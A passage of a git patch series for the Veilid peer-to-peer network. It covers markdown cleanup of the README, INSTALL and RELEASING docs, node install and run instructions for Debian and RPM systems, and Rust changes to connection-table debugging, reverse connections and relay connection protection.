./setup_flutter.sh ``` - ### macOS Development of Veilid on MacOS is possible on both Intel and ARM hardware. Development requires: -* Android Studio + +* Android Studio * Xcode, preferably latest version * Homebrew [here](https://brew.sh) * Android SDK and NDK * Rust -You will need to use Android Studio [here](https://developer.android.com/studio) +You will need to use Android Studio [here](https://developer.android.com/studio) to maintain your Android dependencies. Use the SDK Manager in the IDE to install the following packages (use package details view to select version): + * Android SDK Build Tools (33.0.1) * NDK (Side-by-side) (25.1.8937393) * Cmake (3.22.1) @@ -121,7 +123,7 @@ export PATH=\$PATH:$HOME/Library/Android/sdk/platform-tools EOF ``` -#### Run Veilid setup script +#### Run Veilid setup script (macOS) Now you may run the MacOS setup script to check your development environment and pull the remaining Rust dependencies: @@ -130,7 +132,7 @@ pull the remaining Rust dependencies: ./dev-setup/setup_macos.sh ``` -#### Run the veilid-flutter setup script (optional) +#### Run the veilid-flutter setup script (optional) (macOS) If you are developing Flutter applications or the flutter-veilid portion, you should install Android Studio, and run the flutter setup script: @@ -144,13 +146,13 @@ cd veilid-flutter For a simple installation allowing Rust development, follow these steps: -Install Git from https://git-scm.com/download/win +Install Git from -Install Rust from https://static.rust-lang.org/rustup/dist/x86_64-pc-windows-msvc/rustup-init.exe +Install Rust from -Ensure that protoc.exe is in a directory in your path. For example, it can be obtained from https://github.com/protocolbuffers/protobuf/releases/download/v24.2/protoc-24.2-win64.zip +Ensure that protoc.exe is in a directory in your path. For example, it can be obtained from -Ensure that capnp.exe is in a directory in your path. For example, it can be obtained from https://capnproto.org/capnproto-c++-win32-0.10.4.zip +Ensure that capnp.exe is in a directory in your path. For example, it can be obtained from Start a Command Prompt window. diff --git a/INSTALL.md b/INSTALL.md index 35316168..9e77462a 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -1,61 +1,71 @@ # Install a Veilid Node - ## Server Grade Headless Nodes - These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and uptime availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. - ### Add the repo to a Debian based system and install a Veilid node + This is a multi-step process. - -**Step 1**: Add the GPG keys to your operating systems keyring.
+**Step 1**: Add the GPG keys to your operating systems keyring. *Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. + ```shell wget -O- https://packages.veilid.net/gpg/veilid-packages-key.public | sudo gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg ``` -**Step 2**: Identify your architecture
+ +**Step 2**: Identify your architecture *Explanation*: The following command will tell you what type of CPU your system is running + ```shell dpkg --print-architecture ``` -**Step 3**: Add Veilid to your list of available software.
+**Step 3**: Add Veilid to your list of available software. *Explanation*: Using the command in **Step 2** you will need to run **one** of the following: - For **AMD64** based systems run this command: + ```shell echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null ``` + - For **ARM64** based systems run this command: + ```shell echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null ``` + *Explanation*: Each of the above commands will create a new file called `veilid.list` in the `/etc/apt/sources.list.d/`. This file contains instructions that tell the operating system where to download Veilid. -**Step 4**: Refresh the package manager.
+**Step 4**: Refresh the package manager. *Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. This is invoked with "sudo" to grant superuser permission to make the changes. + ```shell sudo apt update ``` -**Step 5**: Install Veilid.
+**Step 5**: Install Veilid. *Explanation*: With the package manager updated, it is now possible to install Veilid! This is invoked with "sudo" to grant superuser permission to make the changes. + ```shell sudo apt install veilid-server veilid-cli ``` ### Add the repo to a Fedora based system and install a Veilid node -**Step 1**: Add Veilid to your list of available software.
+ +**Step 1**: Add Veilid to your list of available software. *Explanation*: With the package manager updated, it is now possible to install Veilid! + ```shell yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo ``` -**Step 2**: Install Veilid.
+ +**Step 2**: Install Veilid. *Explanation*: With the package manager updated, it is now possible to install Veilid! + ```shell dnf install veilid-server veilid-cli ``` diff --git a/README-DE.md b/README-DE.md index a8f67b62..8ae80956 100644 --- a/README-DE.md +++ b/README-DE.md @@ -1,8 +1,8 @@ # Willkommen bei Veilid -- [Aus der Umlaufbahn](#aus-der-umlaufbahn) -- [Betreibe einen Node](#betreibe-einen-node) -- [Entwicklung](#entwicklung) +- [Aus der Umlaufbahn](#aus-der-umlaufbahn) +- [Betreibe einen Node](#betreibe-einen-node) +- [Entwicklung](#entwicklung) ## Aus der Umlaufbahn @@ -13,17 +13,19 @@ Veilid wurde mit der Idee im Hinterkopf entworfen, dass jeder Benutzer seine eig Der primäre Zweck des Veilid Netzwerks ist es eine Infrastruktur für eine besondere Art von geteilten Daten zur Verfügung zu stellen: Soziale Medien in verschiedensten Arten. Dies umfasst sowohl leichtgewichtige Inhalte wie Twitters/Xs Tweets oder Mastodons Toots, mittleschwere Inhalte wie Bilder oder Musik aber auch schwergewichtige Inhalte wie Videos. Es ist eben so beabsichtigt Meta-Inhalte (wie persönliche Feeds, Antworten, private Nachrichten und so weiter) auf Basis von Veilid laufen zu lassen. ## Betreibe einen Node + Der einfachste Weg dem Veilid Netzwerk beim Wachsen zu helfen ist einen eigenen Node zu betreiben. Jeder Benutzer von Veilid ist automatisch ein Node, aber einige Nodes helfen dem Netzwerk mehr als Andere. Diese Nodes, die das Netzwerk unterstützen sind schwergewichtiger als Nodes, die Nutzer auf einem Smartphone in Form eine Chats oder eine Social Media Applikation starten würde.Droplets oder AWS EC2 mit hoher Bandbreite, Verarbeitungsressourcen und Verfügbarkeit sind wesentlich um das schnellere, sichere und private Routing zu bauen, das Veilid zur Verfügung stellen soll. Um einen solchen Node zu betreiben, setze einen Debian- oder Fedora-basierten Server auf und installiere den veilid-server Service. Um dies besonders einfach zu machen, stellen wir Paketmanager Repositories als .deb und .rpm Pakete bereit. Für weitergehendene Information schaue in den [Installation](./INSTALL.md) Leitfaden. ## Entwicklung + Falls Du Lust hast, dich an der Entwicklung von Code oder auch auf andere Weise zu beteiligen, schau bitte in den [Mitmachen](./CONTRIBUTING.md) Leitfaden. Wir sind bestrebt dieses Projekt offen zu entwickeln und zwar von Menschen für Menschen. Spezifische Bereiche in denen wir nach Hilfe suchen sind: -* Rust -* Flutter/Dart -* Python -* Gitlab DevOps und CI/CD -* Dokumentation -* Sicherheitsprüfungen -* Linux Pakete +- Rust +- Flutter/Dart +- Python +- Gitlab DevOps und CI/CD +- Dokumentation +- Sicherheitsprüfungen +- Linux Pakete diff --git a/README.md b/README.md index 98fb8764..a6ef2db4 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ # Welcome to Veilid -- [From Orbit](#from-orbit) -- [Run a Node](#run-a-node) -- [Development](#development) +- [From Orbit](#from-orbit) +- [Run a Node](#run-a-node) +- [Development](#development) ## From Orbit @@ -13,17 +13,19 @@ Veilid is designed with a social dimension in mind, so that each user can have t The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. ## Run a Node + The easiest way to help grow the Veilid network is to run your own node. Every user of Veilid is a node, but some nodes help the network more than others. These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and up time availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. To run such a node, establish a Debian or Fedora based VPS and install the veilid-server service. To make this process simple we are hosting package manager repositories for .deb and .rpm packages. See the [installing](./INSTALL.md) guide for more information. ## Development + If you're inclined to get involved in code and non-code development, please check out the [contributing](./CONTRIBUTING.md) guide. We're striving for this project to be developed in the open and by people for people. Specific areas in which we are looking for help include: -* Rust -* Flutter/Dart -* Python -* Gitlab DevOps and CI/CD -* Documentation -* Security reviews -* Linux packaging \ No newline at end of file +- Rust +- Flutter/Dart +- Python +- Gitlab DevOps and CI/CD +- Documentation +- Security reviews +- Linux packaging diff --git a/RELEASING.md b/RELEASING.md index f5550838..f7c8d92d 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -9,19 +9,19 @@ This guide outlines the process for releasing a new version of Veilid. The end r Releases happen via a CI/CD pipeline. The release process flows as follows: 1. Complete outstanding merge requests (MR): - + 1.1 Evaluate the MR's adherence to the published requirements and if automatic tests passed. - + 1.2 (Optional) Perform the merge in a local dev environment if testing is required beyond the standard Earthly tests. - + 1.3 If everything checks out, MR meets the published requirements, and tests passed, execute the merge functions in the Gitlab UI. 2. Maintainer performs version bump: - + 2.1 Update your local copy of `main` to mirror the newly merged upstream `main` - 2.2 Ensure the (CHANGELOG)[./CHANGELOG.md] is updated - + 2.2 Ensure the [CHANGELOG](./CHANGELOG.md) is updated + 2.3 Activate your bumpversion Python venv (see bumpversion setup section for details) 2.4 Execute version_bump.sh with the appropriate parameter (patch, minor, or major). This results in all version entries being updated and a matching git tag created locally. @@ -31,11 +31,11 @@ Releases happen via a CI/CD pipeline. The release process flows as follows: 2.6 Git commit the changes with the following message: `Version update: v{current_version} → v{new_version}` 2.7 Create the Git tag `git tag v{new_version}` - + 2.8 Push your local 'main' to the upstream origin 'main' `git push` - + 2.9 Push the new tag to the upstream origin `git push origin {tag name made in step 2.7}` i.e. `git push origin v0.1.5` - + 2.10 Ensure the package/release/distribute pipeline autostarted in the Gitlab UI Git tags serve as a historical record of what repo versions were successfully released at which version numbers. @@ -53,14 +53,15 @@ Occasionally a release will happen that needs to be reverted. This is done manua ## Released Artifacts -### Rust Crates: -- [x] __veilid-tools__ [**Tag**: `veilid-tools-v0.0.0`] +### Rust Crates + +- [x] __veilid-tools__ [__Tag__: `veilid-tools-v0.0.0`] > An assortment of useful components used by the other Veilid crates. > Released to crates.io when its version number is changed in `Cargo.toml` -- [x] __veilid-core__ [**Tag**: `veilid-core-v0.0.0`] +- [x] __veilid-core__ [__Tag__: `veilid-core-v0.0.0`] > The base rust crate for Veilid's logic > Released to crates.io when its version number is changed in `Cargo.toml` -- [ ] __veilid-server__ +- [ ] __veilid-server__ > The Veilid headless node end-user application > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. > This application does not currently support `cargo install` @@ -69,51 +70,63 @@ Occasionally a release will happen that needs to be reverted. This is done manua > This application does not currently support `cargo install` - [ ] __veilid-wasm__ > Not released to crates.io as it is not a library that can be linked by other Rust applications -- [ ] __veilid-flutter__ +- [ ] __veilid-flutter__ > The Dart-FFI native interface to the Veilid API > This is currently built by the Flutter plugin `veilid-flutter` and not released. -### Python Packages: -- [x] __veilid-python__ [**Tag**: `veilid-python-v0.0.0`] +### Python Packages + +- [x] __veilid-python__ [__Tag__: `veilid-python-v0.0.0`] > The Veilid API bindings for Python > Released to PyPi when the version number is changed in `pyproject.toml` -### Flutter Plugins: -- [ ] __veilid-flutter__ +### Flutter Plugins + +- [ ] __veilid-flutter__ > The Flutter plugin for the Veilid API. - > Because this requires a build of a native Rust crate, this is not yet released via https://pub.dev - > TODO: Eventually the rust crate should be bound to + > Because this requires a build of a native Rust crate, this is not yet released via + > TODO: Eventually the rust crate should be bound to -### Operating System Packages: -- [x] __veilid-server__ DEB package [**Tag**: `veilid-server-deb-v0.0.0`] +### Operating System Packages + +- [x] __veilid-server__ DEB package [__Tag__: `veilid-server-deb-v0.0.0`] > The Veilid headless node binary in the following formats: - > * Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository - > * Pushed to APT repository at https://packages.veilid.net -- [x] __veilid-server__ RPM package [**Tag**: `veilid-server-rpm-v0.0.0`] + > + > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository + > - Pushed to APT repository at + > +- [x] __veilid-server__ RPM package [__Tag__: `veilid-server-rpm-v0.0.0`] > The Veilid headless node binary in the following formats: - > * Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository - > * Pushed to Yum repository at https://packages.veilid.net -- [x] __veilid-cli__ DEB package [**Tag**: `veilid-cli-deb-v0.0.0`] + > + > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository + > - Pushed to Yum repository at + > +- [x] __veilid-cli__ DEB package [__Tag__: `veilid-cli-deb-v0.0.0`] > The Veilid headless node administrator control binary in the following formats: - > * Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository - > * Pushed to APT repository at https://packages.veilid.net -- [x] __veilid-cli__ RPM package [**Tag**: `veilid-cli-rpm-v0.0.0`] + > + > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository + > - Pushed to APT repository at + > +- [x] __veilid-cli__ RPM package [__Tag__: `veilid-cli-rpm-v0.0.0`] > The Veilid headless node administrator control binary in the following formats: - > * Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository - > * Pushed to Yum repository at https://packages.veilid.net + > + > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository + > - Pushed to Yum repository at -### Version Numbering: +### Version Numbering -All versions of Veilid Rust crates as well as `veilid-python` and `veilid-flutter` packages are versioned using Semver. Versions can differ per crate and package, and it is important for the Semver rules to be followed (https://semver.org/): +All versions of Veilid Rust crates as well as `veilid-python` and `veilid-flutter` packages are versioned using Semver. Versions can differ per crate and package, and it is important for the Semver rules to be followed (): -* MAJOR version when you make incompatible API changes -* MINOR version when you add functionality in a backward compatible manner -* PATCH version when you make backward compatible bug fixes +- MAJOR version when you make incompatible API changes +- MINOR version when you add functionality in a backward compatible manner +- PATCH version when you make backward compatible bug fixes The `version_bump.sh` script should be run on every release to stable. All of the Rust crates are versioned together and should have the same version, as well as the `veilid-python` Python package and `veilid-flutter` Flutter plugin. ## Bumpversion Setup and Usage + ### Install Bumpversion + 1. Create a Python venv for bumpversion.py. Mine is in my home dir so it persists when I update my local Veilid `main`. `python3 -m venv ~/bumpversion-venv` @@ -121,5 +134,6 @@ The `version_bump.sh` script should be run on every release to stable. All of th 3. Install bumpversion. `pip3 install bumpversion` ### Activate venv for version bumping step of the release process + 1. Activate the venv. `source ~/bumpversion-venv/bin/activate` -2. Return to step 2.4 of _Create a Gitlab Release_ \ No newline at end of file +2. Return to step 2.4 of _Create a Gitlab Release_ From 4b5bef83e22a52394b1c5411c2a22d296225eee1 Mon Sep 17 00:00:00 2001 From: zed tan Date: Tue, 12 Sep 2023 16:19:14 +0200 Subject: [PATCH 14/47] [#253] clean up INSTALL.md - Added `Install` section to group debian and rpm installs. - Re-added `
`s -- they're used to break the `_Explanation:_` blocks to the next line. My personal preference is to _not_ use `
`s in docs, but i didn't want to change too many things here. - Shortened titles `Add the repo to a Debian ...` and `... Fedora ...` to keep it super concise and decoupled from actual steps - Some formatting best-practices - newlines between markdown blocks - indent code blocks that belong to bullet points to make sure that they are syntatically grouped (i.e. correct markdown 'DOM' hierarchy) - sudo: - Removed `sudo` explanations. `apt/dnf/yum` will not run without, no need to explain. - added `sudo` to RPM instruction code blocks (just those two) for consistency, and also you can't run dnf/yum without root anyway. - Made generic "Fedora based" instructions. Actually YUM/DNF-based, keeping it simple for now. Also name-dropped common distros for SEO/CTRL+F convenience - Removed certain `Explanation` blocks for concision. Some are repeated, and some step titles are already self-explanatory --- INSTALL.md | 43 ++++++++++++++++++++++++++----------------- 1 file changed, 26 insertions(+), 17 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index 9e77462a..d3a104fd 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -4,9 +4,11 @@ These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and uptime availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. -### Add the repo to a Debian based system and install a Veilid node +## Install -This is a multi-step process. +### Debian + +Follow the steps here to add the repo to a Debian based system and install Veilid. **Step 1**: Add the GPG keys to your operating systems keyring. *Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. @@ -15,52 +17,59 @@ This is a multi-step process. wget -O- https://packages.veilid.net/gpg/veilid-packages-key.public | sudo gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg ``` -**Step 2**: Identify your architecture +**Step 2**: Identify your architecture
*Explanation*: The following command will tell you what type of CPU your system is running ```shell dpkg --print-architecture ``` -**Step 3**: Add Veilid to your list of available software. -*Explanation*: Using the command in **Step 2** you will need to run **one** of the following: +**Step 3**: Add Veilid to your list of available software.
+*Explanation*: Use the result of your command in **Step 2** and run **one** of the following: - For **AMD64** based systems run this command: -```shell -echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null -``` + ```shell + echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null + ``` - For **ARM64** based systems run this command: -```shell -echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null -``` + ```shell + echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null + ``` *Explanation*: Each of the above commands will create a new file called `veilid.list` in the `/etc/apt/sources.list.d/`. This file contains instructions that tell the operating system where to download Veilid. -**Step 4**: Refresh the package manager. -*Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. This is invoked with "sudo" to grant superuser permission to make the changes. +**Step 4**: Refresh the package manager.
+*Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. ```shell sudo apt update ``` **Step 5**: Install Veilid. -*Explanation*: With the package manager updated, it is now possible to install Veilid! This is invoked with "sudo" to grant superuser permission to make the changes. ```shell sudo apt install veilid-server veilid-cli ``` -### Add the repo to a Fedora based system and install a Veilid node +### RPM-based + +Follow the steps here to add the repo to +RPM-based systems (CentOS, Rocky Linux, AlmaLinux, Fedora, etc.) +and install Veilid. **Step 1**: Add Veilid to your list of available software. -*Explanation*: With the package manager updated, it is now possible to install Veilid! ```shell -yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo +sudo yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo +``` +**Step 2**: Install Veilid. + +```shell +sudo dnf install veilid-server veilid-cli ``` **Step 2**: Install Veilid. From a3e3ab8ab5b3267cee8e1c5cd634605e61305caa Mon Sep 17 00:00:00 2001 From: zed tan Date: Mon, 11 Sep 2023 22:21:40 +0200 Subject: [PATCH 15/47] [#253] add instructions to run veilid node Added instructions to: - Run a veilid node with systemd - add instructions for getting veilid to start at boot - Manually run a veilid node, because users may use platforms without systemd available. Changes: - Changed title to include run - Added `systemctl start ...` instructions - Added heavily caveated instructions to run veilid-server manually --- INSTALL.md | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index d3a104fd..e30ef149 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -1,4 +1,4 @@ -# Install a Veilid Node +# Install and run a Veilid Node ## Server Grade Headless Nodes @@ -72,9 +72,31 @@ sudo yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-re sudo dnf install veilid-server veilid-cli ``` -**Step 2**: Install Veilid. -*Explanation*: With the package manager updated, it is now possible to install Veilid! +## Start headless node + +To start a headless Veilid node, run as root: ```shell -dnf install veilid-server veilid-cli +systemctl start veilid-server.service ``` + +To have your Veilid node start at boot: + +```shell +systemctl enable --now veilid-server.service +``` + +> **Not recommended:** +> In cases where you must run `veilid-server` +> without `systemd` (e.g., systems that use OpenRC, or containers), +> you _must_ run the `veilid-server` +> as the `veilid` user. +> Do this manually by running as root: +> +> ```shell +> # Force-allow login by setting shell +> usermod -s /bin/bash veilid +> # Run veilid-server as veilid user +> # Note that by default, veilid user is still passwordless. +> sudo -u veilid veilid-server +> ``` From 671f3495786cb859c45e2eaabdcd02c3217e33a6 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Tue, 12 Sep 2023 21:40:13 -0400 Subject: [PATCH 16/47] conn table --- .../src/network_manager/connection_manager.rs | 8 ++++++ .../src/network_manager/connection_table.rs | 28 +++++++++++++++++++ .../src/network_manager/network_connection.rs | 11 ++++++++ veilid-core/src/veilid_api/debug.rs | 7 ++++- 4 files changed, 53 insertions(+), 1 deletion(-) diff --git a/veilid-core/src/network_manager/connection_manager.rs b/veilid-core/src/network_manager/connection_manager.rs index febad51c..9ea09d34 100644 --- a/veilid-core/src/network_manager/connection_manager.rs +++ b/veilid-core/src/network_manager/connection_manager.rs @@ -404,4 +404,12 @@ impl ConnectionManager { let _ = sender.send_async(ConnectionManagerEvent::Dead(conn)).await; } } + + pub async fn debug_print(&self) -> String { + //let inner = self.arc.inner.lock(); + format!( + "Connection Table:\n\n{}", + self.arc.connection_table.debug_print_table() + ) + } } diff --git a/veilid-core/src/network_manager/connection_table.rs b/veilid-core/src/network_manager/connection_table.rs index be39fb3b..d2d13bcb 100644 --- a/veilid-core/src/network_manager/connection_table.rs +++ b/veilid-core/src/network_manager/connection_table.rs @@ -72,6 +72,15 @@ impl ConnectionTable { } } + fn index_to_protocol(idx: usize) -> ProtocolType { + match idx { + 0 => ProtocolType::TCP, + 1 => ProtocolType::WS, + 2 => ProtocolType::WSS, + _ => panic!("not a connection-oriented protocol"), + } + } + #[instrument(level = "trace", skip(self))] pub async fn join(&self) { let mut unord = { @@ -331,4 +340,23 @@ impl ConnectionTable { let conn = Self::remove_connection_records(&mut *inner, id); Some(conn) } + + pub fn debug_print_table(&self) -> String { + let mut out = String::new(); + let inner = self.inner.lock(); + let cur_ts = get_aligned_timestamp(); + for t in 0..inner.conn_by_id.len() { + out += &format!( + " {} Connections: ({}/{})\n", + Self::index_to_protocol(t).to_string(), + inner.conn_by_id[t].len(), + inner.max_connections[t] + ); + + for (_, conn) in &inner.conn_by_id[t] { + out += &format!(" {}\n", conn.debug_print(cur_ts)); + } + } + out + } } diff --git a/veilid-core/src/network_manager/network_connection.rs b/veilid-core/src/network_manager/network_connection.rs index b96a36e3..76b4e13d 100644 --- a/veilid-core/src/network_manager/network_connection.rs +++ b/veilid-core/src/network_manager/network_connection.rs @@ -391,6 +391,17 @@ impl NetworkConnection { .await; }.instrument(trace_span!("process_connection"))) } + + pub fn debug_print(&self, cur_ts: Timestamp) -> String { + format!("{} <- {} | {:x} | est {} sent {} rcvd {}", + self.descriptor.remote_address(), + self.descriptor.local().map(|x| x.to_string()).unwrap_or("---".to_owned()), + self.connection_id.as_u64(), + debug_duration(cur_ts.as_u64().saturating_sub(self.established_time.as_u64())), + self.stats().last_message_sent_time.map(|ts| debug_duration(cur_ts.as_u64().saturating_sub(ts.as_u64())) ).unwrap_or("---".to_owned()), + self.stats().last_message_recv_time.map(|ts| debug_duration(cur_ts.as_u64().saturating_sub(ts.as_u64())) ).unwrap_or("---".to_owned()), + ) + } } // Resolves ready when the connection loop has terminated diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 633f77f4..2ef953de 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -682,6 +682,7 @@ impl VeilidAPI { async fn debug_nodeinfo(&self, _args: String) -> VeilidAPIResult { // Dump routing table entry let routing_table = self.network_manager()?.routing_table(); + let connection_manager = self.network_manager()?.connection_manager(); let nodeinfo = routing_table.debug_info_nodeinfo(); // Dump core state @@ -702,7 +703,11 @@ impl VeilidAPI { format_opt_bps(Some(peer.peer_stats.transfer.up.average)), ); } - Ok(format!("{}\n\n{}\n\n", nodeinfo, peertable)) + + // Dump connection table + let connman = connection_manager.debug_print().await; + + Ok(format!("{}\n\n{}\n\n{}\n\n", nodeinfo, peertable, connman)) } async fn debug_config(&self, args: String) -> VeilidAPIResult { From 86aae741e0fdcfa8b0fb6317a3ba898d09cb4122 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Wed, 13 Sep 2023 17:00:39 -0400 Subject: [PATCH 17/47] reverse connect for wasm nodes --- .../src/routing_table/routing_domains.rs | 23 +++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/veilid-core/src/routing_table/routing_domains.rs b/veilid-core/src/routing_table/routing_domains.rs index 55bcef67..ba120369 100644 --- a/veilid-core/src/routing_table/routing_domains.rs +++ b/veilid-core/src/routing_table/routing_domains.rs @@ -470,7 +470,7 @@ impl RoutingDomainDetail for PublicInternetRoutingDomainDetail { return ContactMethod::Unreachable; }; - // Can we reach the full relay? + // Can we reach the inbound relay? if first_filtered_dial_info_detail_between_nodes( node_a, &node_b_relay, @@ -480,11 +480,30 @@ impl RoutingDomainDetail for PublicInternetRoutingDomainDetail { ) .is_some() { + ///////// Reverse connection + + // Get the best match dial info for an reverse inbound connection from node B to node A + if let Some(reverse_did) = first_filtered_dial_info_detail_between_nodes( + node_b, + node_a, + &dial_info_filter, + sequencing, + dif_sort.clone() + ) { + // Can we receive a direct reverse connection? + if !reverse_did.class.requires_signal() { + return ContactMethod::SignalReverse( + node_b_relay_id, + node_b_id, + ); + } + } + return ContactMethod::InboundRelay(node_b_relay_id); } } - // If node A can't reach the node by other means, it may need to use its own relay + // If node A can't reach the node by other means, it may need to use its outbound relay if peer_a.signed_node_info().node_info().network_class().outbound_wants_relay() { if let Some(node_a_relay_id) = peer_a.signed_node_info().relay_ids().get(best_ck) { // Ensure it's not our relay we're trying to reach From 680c987321958c6e5c4d447dc05ac7a2097e71aa Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Thu, 14 Sep 2023 14:21:54 -0400 Subject: [PATCH 18/47] oops config --- veilid-flutter/lib/default_config.dart | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/veilid-flutter/lib/default_config.dart b/veilid-flutter/lib/default_config.dart index a10787f3..eac855bc 100644 --- a/veilid-flutter/lib/default_config.dart +++ b/veilid-flutter/lib/default_config.dart @@ -173,14 +173,14 @@ Future getDefaultVeilidConfig(String programName) async { ws: VeilidConfigWS( connect: true, listen: !kIsWeb, - maxConnections: 1024, + maxConnections: 32, listenAddress: '', path: 'ws', ), wss: VeilidConfigWSS( connect: true, listen: false, - maxConnections: 1024, + maxConnections: 32, listenAddress: '', path: 'ws', ), From 17ea68fb84f4c2fd035055997098a95a481c0d58 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Thu, 14 Sep 2023 15:51:09 -0400 Subject: [PATCH 19/47] connection fix --- .../src/network_manager/connection_manager.rs | 39 ++++++++++++++++++- .../src/network_manager/connection_table.rs | 14 ++++++- veilid-core/src/network_manager/mod.rs | 7 ++-- .../src/network_manager/network_connection.rs | 11 ++++++ veilid-core/src/network_manager/send_data.rs | 30 ++++++++++++++ veilid-core/src/routing_table/node_ref.rs | 2 +- 6 files changed, 95 insertions(+), 8 deletions(-) diff --git a/veilid-core/src/network_manager/connection_manager.rs b/veilid-core/src/network_manager/connection_manager.rs index 9ea09d34..6f350a9f 100644 --- a/veilid-core/src/network_manager/connection_manager.rs +++ b/veilid-core/src/network_manager/connection_manager.rs @@ -139,6 +139,33 @@ impl ConnectionManager { debug!("finished connection manager shutdown"); } + // Internal routine to see if we should keep this connection + // from being LRU removed. Used on our initiated relay connections. + fn should_protect_connection(&self, conn: &NetworkConnection) -> bool { + let netman = self.network_manager(); + let routing_table = netman.routing_table(); + let remote_address = conn.connection_descriptor().remote_address().address(); + let Some(routing_domain) = routing_table.routing_domain_for_address(remote_address) else { + return false; + }; + let Some(rn) = routing_table.relay_node(routing_domain) else { + return false; + }; + let relay_nr = rn.filtered_clone( + NodeRefFilter::new() + .with_routing_domain(routing_domain) + .with_address_type(conn.connection_descriptor().address_type()) + .with_protocol_type(conn.connection_descriptor().protocol_type()), + ); + let dids = relay_nr.all_filtered_dial_info_details(); + for did in dids { + if did.dial_info.address() == remote_address { + return true; + } + } + false + } + // Internal routine to register new connection atomically. // Registers connection in the connection table for later access // and spawns a message processing loop for the connection @@ -163,8 +190,16 @@ impl ConnectionManager { None => bail!("not creating connection because we are stopping"), }; - let conn = NetworkConnection::from_protocol(self.clone(), stop_token, prot_conn, id); + let mut conn = NetworkConnection::from_protocol(self.clone(), stop_token, prot_conn, id); let handle = conn.get_handle(); + + // See if this should be a protected connection + let protect = self.should_protect_connection(&conn); + if protect { + log_net!(debug "== PROTECTING connection: {} -> {}", id, conn.debug_print(get_aligned_timestamp())); + conn.protect(); + } + // Add to the connection table match self.arc.connection_table.add_connection(conn) { Ok(None) => { @@ -173,7 +208,7 @@ impl ConnectionManager { Ok(Some(conn)) => { // Connection added and a different one LRU'd out // Send it to be terminated - log_net!(debug "== LRU kill connection due to limit: {:?}", conn); + // log_net!(debug "== LRU kill connection due to limit: {:?}", conn); let _ = inner.sender.send(ConnectionManagerEvent::Dead(conn)); } Err(ConnectionTableAddError::AddressFilter(conn, e)) => { diff --git a/veilid-core/src/network_manager/connection_table.rs b/veilid-core/src/network_manager/connection_table.rs index d2d13bcb..233c447e 100644 --- a/veilid-core/src/network_manager/connection_table.rs 